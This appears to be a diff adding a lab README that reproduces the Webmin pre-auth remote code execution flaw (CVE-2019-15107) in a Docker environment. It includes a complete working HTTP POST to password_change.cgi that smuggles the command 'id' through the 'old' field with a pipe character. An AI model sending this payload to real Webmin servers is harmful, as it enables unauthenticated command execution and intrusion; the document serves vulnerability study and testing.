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+# Webmin Pre-Auth Remote Code Execution (CVE-2019-15107)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Webmin is a web-based system configuration tool for Unix-like systems. The vulnerability exists in the password reset page, which allows unauthenticated users to execute arbitrary commands through a simple POST request.
+
+Referrers:
+
+- https://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
+- https://www.exploit-db.com/exploits/47230
+- https://blog.firosolutions.com/exploits/webmin/
+
+## Start Vulnerability Application
+
+Start a vulnerable Webmin 1.910 through following command:
+
+```
+docker compose up -d
+```
+
+After the environment is started, you can see the login page of Webmin at `https://your-ip:10000`.
+
+## Vulnerability Reproduce
+
+The payload of the reference links is incomplete. After reading the code in depth, I found that command can be executed only if the user parameter of the body doesn't exist before 1.920, upon 1.920, no limit.
+
+In short, sending a following POST request to execute command `id`:
+
+```
+POST /password_change.cgi HTTP/1.1
+Host: your-ip:10000
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Cookie: redirect=1; testing=1; sid=x; sessiontest=1
+Referer: https://your-ip:10000/session_login.cgi
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 60
+
+user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
+```
+
+![](1.png)